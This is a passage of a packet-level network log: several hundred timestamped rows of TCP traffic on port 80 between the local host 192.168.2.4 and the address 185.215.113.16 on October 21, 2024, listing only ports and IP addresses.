Oct 21, 2024 10:46:23.464842081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464847088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464854002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464864969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464871883 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464884043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464901924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464903116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464914083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464921951 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464925051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464936972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464946985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464956045 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464957952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464970112 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464982033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464982033 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.464992046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.464996099 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465003014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465013027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465020895 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465024948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465037107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465048075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465046883 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465058088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465060949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465073109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465084076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465085030 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465110064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465761900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465779066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465789080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465797901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465806007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465809107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465815067 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465821981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465833902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465842009 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465845108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465857029 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465867043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465883970 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465888977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465905905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465909004 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465918064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465923071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465929985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465939999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465951920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465955019 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465965033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465975046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465980053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.465987921 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.465997934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466005087 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466008902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466017962 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466020107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466032028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466043949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466048956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466061115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466062069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466082096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466098070 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466109991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466120958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466130018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466140985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466147900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466152906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466157913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466165066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466176033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466187000 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466187000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466200113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466209888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466218948 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466221094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466233015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466243982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466243029 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466254950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466265917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466265917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466275930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466279984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466291904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466303110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466303110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466315031 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466330051 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466347933 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466574907 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466639042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466650963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466675043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466836929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466854095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466864109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466873884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466878891 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466886997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466897011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466898918 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466907978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466918945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466931105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466939926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466941118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466953993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466964960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466964960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.466983080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.466993093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467003107 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467015028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467029095 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467031956 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467044115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467047930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467055082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467066050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467077017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467081070 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467088938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467101097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467107058 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467111111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467113972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467123032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467134953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467144012 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467144966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467156887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467175961 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467179060 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467191935 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467197895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467210054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467220068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467230082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467242002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467243910 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467252016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467263937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467267990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467274904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467276096 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467286110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467297077 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467303991 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467308044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467318058 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467328072 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467341900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467348099 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467360020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467370033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467380047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467394114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467396975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467405081 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467407942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467418909 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467428923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467432976 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467447996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467458010 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467459917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467472076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467482090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467495918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467505932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467515945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467536926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467550993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467555046 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467555046 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467555046 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467555046 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467561960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467573881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467586040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467591047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467597008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467607021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467611074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467617989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467628002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467637062 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467638969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467654943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467659950 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467669010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467674971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467679024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467690945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467719078 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467737913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467782021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467792034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467803001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467813969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467819929 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467825890 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467847109 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467936993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467952967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467962027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467972994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467983007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467984915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.467992067 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.467998981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.468019962 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.468039036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.468050003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.468059063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.468085051 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.468102932 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.471261024 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.495269060 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.495280981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.495290995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.495332956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.495417118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.495429993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.495439053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.495460987 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.495526075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.537487984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.537498951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.537509918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.537552118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.537633896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.537645102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.537672043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.579540968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579552889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579564095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579572916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579585075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579585075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.579596043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579606056 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.579607964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.579636097 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.579655886 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622013092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622068882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622080088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622090101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622102022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622142076 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622142076 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622241020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622251034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622262001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622272968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622277021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622283936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622293949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622304916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622311115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622317076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622327089 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622328997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622349977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622360945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622370958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622380018 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622380018 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622383118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622395039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622406960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622410059 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622417927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622431040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622433901 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622442007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622452021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622454882 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622462988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622473955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622477055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622489929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622500896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622503996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622510910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622518063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622522116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622533083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622543097 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622544050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622554064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622565985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622571945 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622584105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622594118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622596025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622607946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622617006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622629881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622641087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622652054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622654915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622654915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622654915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622662067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622678041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622683048 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622689009 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622690916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622709036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622721910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622729063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622737885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622749090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622756004 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.622759104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622770071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622781038 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622797012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.622802019 CEST	49745	80	192.168.2.4	185.215.113.16
